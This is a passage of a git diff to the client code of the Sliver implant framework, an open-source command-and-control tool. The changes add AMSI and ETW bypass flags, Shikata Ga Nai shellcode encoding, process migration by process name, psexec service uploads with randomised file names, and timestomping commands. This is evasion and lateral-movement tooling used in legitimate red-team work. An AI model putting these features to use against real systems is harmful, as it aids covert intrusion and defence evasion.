+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}

client/command/exec/execute-assembly.go

@@ -20,10 +20,11 @@ package exec
 
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
+	assemblyBytes, err := os.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -57,22 +58,49 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+	inProcess := ctx.Flags.Bool("in-process")
+
+	runtime := ctx.Flags.String("runtime")
+	etwBypass := ctx.Flags.Bool("etw-bypass")
+	amsiBypass := ctx.Flags.Bool("amsi-bypass")
+
+	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+		return
+	}
 
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+	if len(assemblyArgsStr) > 256 && !inProcess {
+		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		IsDLL:     isDLL,
-		Process:   process,
-		Arguments: assemblyArgsStr,
-		Assembly:  assemblyBytes,
-		Arch:      ctx.Flags.String("arch"),
-		Method:    ctx.Flags.String("method"),
-		ClassName: ctx.Flags.String("class"),
-		AppDomain: ctx.Flags.String("app-domain"),
+		Request:     con.ActiveTarget.Request(ctx),
+		IsDLL:       isDLL,
+		Process:     process,
+		Arguments:   assemblyArgsStr,
+		Assembly:    assemblyBytes,
+		Arch:        ctx.Flags.String("arch"),
+		Method:      ctx.Flags.String("method"),
+		ClassName:   ctx.Flags.String("class"),
+		AppDomain:   ctx.Flags.String("app-domain"),
+		ProcessArgs: processArgs,
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		Runtime:     runtime,
+		EtwBypass:   etwBypass,
+		AmsiBypass:  amsiBypass,
+		InProcess:   inProcess,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -23,7 +23,6 @@ import (
 	"context"
 	"fmt"
 	"io"
-	"io/ioutil"
 	"log"
 	"os"
 
@@ -44,6 +43,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
+	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
-	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+	shellcodeBin, err := os.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -60,8 +60,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch := ctx.Flags.String("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter := ctx.Flags.Int("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   uint32(iter),
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -69,7 +98,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		RWXPages: rwxPages,
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})

client/command/exec/execute.go

@@ -18,7 +18,6 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -47,6 +46,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	stderr := ctx.Flags.String("stderr")
 	saveLoot := ctx.Flags.Bool("loot")
 	saveOutput := ctx.Flags.Bool("save")
+	ppid := ctx.Flags.Uint("ppid")
 	hostName := getHostname(session, beacon)
 
 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
@@ -61,14 +61,16 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token {
-		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  captureOutput,
-			Stderr:  stderr,
-			Stdout:  stdout,
+	if token || ppid != 0 {
+		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+			Request:  con.ActiveTarget.Request(ctx),
+			Path:     cmdPath,
+			Args:     args,
+			Output:   captureOutput,
+			Stderr:   stderr,
+			Stdout:   stdout,
+			UseToken: token,
+			PPid:     uint32(ppid),
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
@@ -214,7 +216,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
 		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
 	}
 
-	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
+	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
 	loot.SendLootMessage(lootMessage, con)
 }
 
@@ -239,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
 
 	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
 
-	outFilePath, err = ioutil.TempFile("", outFileName)
+	outFilePath, err = os.CreateTemp("", outFileName)
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/exec/migrate.go

@@ -3,14 +3,17 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -18,9 +21,11 @@ package exec
 import (
 	"context"
 	"fmt"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -31,14 +36,50 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	pid := ctx.Args.Uint("pid")
+	pid := ctx.Flags.Uint("pid")
+	procName := ctx.Flags.String("process-name")
+	if pid == 0 && procName == "" {
+		con.PrintErrorf("Error: Must specify either a PID or process name\n")
+		return
+	}
+	if procName != "" {
+		procCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
+		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %v\n", err)
+			return
+		}
+		procCtrl <- true
+		<-procCtrl
+		for _, p := range proc.GetProcesses() {
+			if strings.ToLower(p.Executable) == strings.ToLower(procName) {
+				pid = uint(p.Pid)
+				break
+			}
+		}
+		if pid == 0 {
+			con.PrintErrorf("Error: Could not find process %s\n", procName)
+			return
+		}
+		con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
+	}
 	config := con.GetActiveSessionConfig()
+	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+	if ctx.Flags.Bool("disable-sgn") {
+		encoder = clientpb.ShellcodeEncoder_NONE
+	}
+
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
 		Request: con.ActiveTarget.Request(ctx),
+		Encoder: encoder,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/psexec.go

@@ -21,10 +21,12 @@ package exec
 import (
 	"context"
 	"fmt"
-	insecureRand "math/rand"
+	"os"
 	"strings"
 	"time"
 
+	insecureRand "math/rand"
+
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
@@ -47,10 +49,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
+	var serviceBinary []byte
 	profile := ctx.Flags.String("profile")
 	serviceName := ctx.Flags.String("service-name")
 	serviceDesc := ctx.Flags.String("service-description")
 	binPath := ctx.Flags.String("binpath")
+	customExe := ctx.Flags.String("custom-exe")
 	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
 
 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -61,35 +65,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
-	if profile == "" {
-		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
-		return
+	if customExe == "" {
+		if profile == "" {
+			con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+			return
+		}
+
+		// generate sliver
+		generateCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+		profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+		generateCtrl <- true
+		<-generateCtrl
+		var implantProfile *clientpb.ImplantProfile
+		for _, prof := range profiles.Profiles {
+			if prof.Name == profile {
+				implantProfile = prof
+			}
+		}
+		if implantProfile.GetName() == "" {
+			con.PrintErrorf("No profile found for name %s\n", profile)
+			return
+		}
+		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
+	} else {
+		// use a custom exe instead of generating a new Sliver
+		fileBytes, err := os.ReadFile(customExe)
+		if err != nil {
+			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
+			return
+		}
+		serviceBinary = fileBytes
 	}
 
-	// generate sliver
-	generateCtrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
-	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("Error: %s\n", err)
-		return
-	}
-	generateCtrl <- true
-	<-generateCtrl
-	var implantProfile *clientpb.ImplantProfile
-	for _, prof := range profiles.Profiles {
-		if prof.Name == profile {
-			implantProfile = prof
-		}
-	}
-	if implantProfile.GetName() == "" {
-		con.PrintErrorf("No profile found for name %s\n", profile)
-		return
-	}
-	sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
-	filename := randomString(10)
+	filename := randomFileName()
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+	uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -158,11 +173,37 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }
 
-func randomString(length int) string {
-	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-	b := make([]byte, length)
-	for i := range b {
-		b[i] = charset[insecureRand.Intn(len(charset))]
+func randomString() string {
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	str := ""
+	for index := 0; index < insecureRand.Intn(8)+1; index++ {
+		str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
 	}
-	return string(b)
+	return str
+}
+
+func randomFileName() string {
+	noun := randomString()
+	noun = strings.ToLower(noun)
+	switch insecureRand.Intn(3) {
+	case 0:
+		noun = strings.ToUpper(noun)
+	case 1:
+		noun = strings.ToTitle(noun)
+	}
+
+	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
+	sep := separators[insecureRand.Intn(len(separators))]
+
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	prefix := ""
+	for index := 0; index < insecureRand.Intn(3); index++ {
+		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	suffix := ""
+	for index := 0; index < insecureRand.Intn(6)+1; index++ {
+		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+
+	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
 }

client/command/exec/sideload.go

@@ -21,7 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"
 
@@ -45,11 +45,13 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	args := strings.Join(ctx.Args.StringList("args"), " ")
 
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -61,6 +63,9 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
+		IsUnicode:   ctx.Flags.Bool("unicode"),
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		ProcessArgs: processArgs,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/spawndll.go

@@ -1,9 +1,27 @@
 package exec
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	exportName := ctx.Flags.String("export")
 
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return

client/command/exec/ssh.go

@@ -1,12 +1,29 @@
 package exec
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -31,9 +48,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	port := ctx.Flags.Uint("port")
-	privateKeypath := ctx.Flags.String("private-key")
-	if privateKeypath != "" {
-		privKey, err = ioutil.ReadFile(privateKeypath)
+	privateKeyPath := ctx.Flags.String("private-key")
+	if privateKeyPath != "" {
+		privKey, err = os.ReadFile(privateKeyPath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -43,6 +60,22 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	hostname := ctx.Args.String("hostname")
 	command := ctx.Args.StringList("command")
+	kerberosRealm := ctx.Flags.String("kerberos-realm")
+	kerberosConfig := ctx.Flags.String("kerberos-config")
+	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
+
+	if kerberosRealm != "" && kerberosKeytabFile == "" {
+		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
+		return
+	}
+	kerberosKeytab := []byte{}
+	if kerberosKeytabFile != "" {
+		kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
 
 	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
@@ -59,6 +92,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
+		Realm:    kerberosRealm,
+		Krb5Conf: kerberosConfig,
+		Keytab:   kerberosKeytab,
 		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
@@ -109,18 +145,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
 	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
 	survey.AskOne(prompt, &confirm, nil)
 	if confirm {
-		cred, err := loot.SelectCredentials(con)
-		if err != nil {
-			con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
-		} else {
-			switch cred.CredentialType {
-			case clientpb.CredentialType_API_KEY:
-				privKey = []byte(cred.Credential.APIKey)
-			case clientpb.CredentialType_USER_PASSWORD:
-				username = cred.Credential.User
-				password = cred.Credential.Password
-			}
-		}
+		// cred, err := loot.SelectCredentials(con)
+		// if err != nil {
+		// 	con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		// } else {
+		// 	switch cred.CredentialType {
+		// 	case clientpb.CredentialType_API_KEY:
+		// 		privKey = []byte(cred.Credential.APIKey)
+		// 	case clientpb.CredentialType_USER_PASSWORD:
+		// 		username = cred.Credential.User
+		// 		password = cred.Credential.Password
+		// 	}
+		// }
 	}
 	return username, password, privKey
 }

client/command/extensions/load.go

@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		if !depLoaded && extName == ext.DependsOn {
 			depLoaded = true
 		}
-		if ext.Name == extName {
+		if ext.CommandName == extName {
 			return nil
 		}
 	}

client/command/filesystem/cat.go

@@ -85,7 +85,6 @@ func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.Sl
 	)
 	saveLoot := ctx.Flags.Bool("loot")
 	lootName := ctx.Flags.String("name")
-	userLootType := ctx.Flags.String("type")
 	userLootFileType := ctx.Flags.String("file-type")
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
@@ -100,17 +99,9 @@ func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.Sl
 	}
 
 	if saveLoot {
-		lootType, err := loot.ValidateLootType(userLootType)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			// Even if the loot type is bad, we can still print the result to the screen
-			// We will not loot it though
-			lootDownload = false
-		}
 		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
-
 		if lootDownload {
-			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+			loot.LootDownload(download, lootName, fileType, ctx, con)
 			con.Printf("\n")
 		}
 	}

client/command/filesystem/chmod.go

@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChmodCmd - Change the permissions of a file on the remote file system
+func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	fileMode := ctx.Args.String("mode")
+
+	if fileMode == "" {
+		con.PrintErrorf("Missing parameter: file permissions (mode)\n")
+		return
+	}
+
+	chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		FileMode:  fileMode,
+		Recursive: ctx.Flags.Bool("recursive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chmod.Response != nil && chmod.Response.Async {
+		con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chmod)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChmod(chmod, con)
+		})
+		con.PrintAsyncResponse(chmod.Response)
+	} else {
+		PrintChmod(chmod, con)
+	}
+}
+
+// PrintChmod - Print the chmod response
+func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
+	if chmod.Response != nil && chmod.Response.Err != "" {
+		con.PrintErrorf("%s\n", chmod.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chmod.Path)
+}

client/command/filesystem/chown.go

@@ -0,0 +1,92 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChownCmd - Change the owner of a file on the remote file system
+func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	uid := ctx.Args.String("uid")
+
+	if uid == "" {
+		con.PrintErrorf("Missing parameter: user id\n")
+		return
+	}
+
+	gid := ctx.Args.String("gid")
+
+	if gid == "" {
+		con.PrintErrorf("Missing parameter: group id\n")
+		return
+	}
+	
+	chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		Uid:  uid,
+		Gid:  gid,
+		Recursive: ctx.Flags.Bool("recursive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chown.Response != nil && chown.Response.Async {
+		con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chown)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChown(chown, con)
+		})
+		con.PrintAsyncResponse(chown.Response)
+	} else {
+		PrintChown(chown, con)
+	}
+}
+
+// PrintChown - Print the chown response
+func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
+	if chown.Response != nil && chown.Response.Err != "" {
+		con.PrintErrorf("%s\n", chown.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chown.Path)
+}

client/command/filesystem/chtimes.go

@@ -0,0 +1,107 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChtimesCmd - Change the access and modified time of a file on the remote file system
+func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	// DateTime layout (https://pkg.go.dev/time)
+	layout := "2006-01-02 15:04:05"
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	atime := ctx.Args.String("atime")
+
+	if atime == "" {
+		con.PrintErrorf("Missing parameter: Last accessed time id\n")
+		return
+	}
+
+	t_a, err := time.Parse(layout, atime)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	unixAtime := t_a.Unix()
+
+	mtime := ctx.Args.String("mtime")
+
+	if mtime == "" {
+		con.PrintErrorf("Missing parameter: Last modified time id\n")
+		return
+	}
+
+	t_b, err := time.Parse(layout, mtime)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
